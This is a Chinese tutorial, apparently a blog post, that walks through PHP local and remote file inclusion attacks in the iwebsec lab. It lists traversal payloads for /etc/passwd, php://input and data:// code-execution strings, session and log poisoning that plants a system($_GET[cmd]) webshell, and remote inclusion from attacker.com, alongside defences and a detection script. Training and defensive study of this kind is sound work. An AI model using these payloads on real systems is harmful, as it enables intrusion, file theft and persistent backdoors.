PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心绕过手法与伪协议利用

发布时间:2026/7/8 20:29:19
PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心绕过手法与伪协议利用 PHP 文件包含漏洞实战iwebsec 靶场 10 关核心绕过手法与伪协议利用在 Web 安全领域文件包含漏洞File Inclusion Vulnerability一直是渗透测试中的高频攻击点。这种漏洞允许攻击者通过动态包含恶意文件来执行任意代码或读取敏感数据。本文将基于 iwebsec 靶场系统化剖析 10 种典型文件包含场景的绕过手法与伪协议利用技巧。1. 靶场环境快速搭建iwebsec 靶场提供 Docker 化部署方案执行以下命令即可启动环境docker pull iwebsec/iwebsec docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec关键目录结构说明/var/www/html/fi/文件包含漏洞实验脚本/var/lib/php/session/PHP Session 存储目录/etc/php/7.4/apache2/php.iniPHP 配置文件提示实验前建议修改 php.ini 的以下参数allow_url_fopen Onallow_url_include Onsession.save_path /var/lib/php/session2. 基础文件包含漏洞原理PHP 文件包含主要通过四个函数实现函数区别错误处理include()包含失败仅警告继续执行require()包含失败致命错误终止执行include_once()避免重复包含继续执行require_once()避免重复包含终止执行典型漏洞代码示例?php $file $_GET[file]; include($file); ?3. 本地文件包含LFI实战3.1 基础文件读取直接包含系统敏感文件/fi/01.php?filename../../../../etc/passwd常见敏感文件路径- Linux: - /etc/passwd - /proc/self/environ - /var/log/apache2/access.log - Windows: - C:\Windows\win.ini - C:\xampp\apache\conf\extra\httpd-xampp.conf3.2 路径遍历绕过当过滤../时尝试以下变种/fi/02.php?filename....//....//....//etc/passwd编码绕过方案# URL 双重编码 print(quote(quote(../../../../etc/passwd))) # 输出%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd4. 伪协议深度利用4.1 php://filter 源码读取通过 base64 编码读取 PHP 文件源码/fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php解码获取源码echo PD9waHA... | base64 -d4.2 php://input 代码执行POST 方式提交恶意代码GET /fi/08.php?filenamephp://input HTTP/1.1 Host: target.com ?php system(id);?4.3 data:// 直接执行Base64 编码执行/fi/10.php?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8原始数据执行/fi/10.php?filenamedata://text/plain,?php phpinfo();?5. 高级绕过技术5.1 Session 文件包含利用流程注入 PHP 代码到 Session/fi/03.php?iwebsec?php system($_GET[cmd]);?获取 Session IDPHPSESSID包含 Session 文件/fi/01.php?filename../../../../var/lib/php/session/sess_[PHPSESSID]5.2 日志文件注入Apache 日志注入步骤伪造包含 PHP 代码的请求GET /?php phpinfo();? HTTP/1.1 Host: target.com包含日志文件/fi/01.php?filename../../../../var/log/apache2/access.log5.3 远程文件包含RFI基础利用/fi/04.php?filenamehttp://attacker.com/shell.txt绕过限制技巧使用问号截断/fi/05.php?filenamehttp://attacker.com/shell.txt?使用井号截断/fi/05.php?filenamehttp://attacker.com/shell.txt%236. 防御方案对比防御措施有效性实施成本备注白名单校验★★★★★中需维护合法文件列表禁用危险函数★★★★低影响正常功能目录限制★★★低可能被绕过文件内容校验★★高性能影响较大推荐加固代码示例$allowed [header.php, footer.php]; if(in_array($_GET[file], $allowed)) { include($_GET[file]); } else { die(Invalid file!); }7. 自动化测试方案使用 Python 实现基础检测import requests targets [ /fi/01.php?filename../../../../etc/passwd, /fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php ] for url in targets: r requests.get(fhttp://target.com{url}) if root:x:0:0 in r.text or PD9waHA in r.text: print(f[] Vulnerable: {url})8. 实战经验总结信息收集优先通过phpinfo()确认allow_url_include和session.save_path等关键配置组合利用技巧文件上传 文件包含 GetshellLFI 日志文件 RCESession 包含 代码注入 持久化后门绕过思维导图[过滤../] -- 使用....// -- URL编码 -- 超长路径截断 [限制后缀] -- %00截断(PHP5.3) -- 问号截断 -- 伪协议绕过在真实渗透测试中文件包含漏洞往往需要结合具体环境特征进行变异利用。建议在掌握基础手法后通过修改请求头、尝试非常规路径等方式进行深度测试。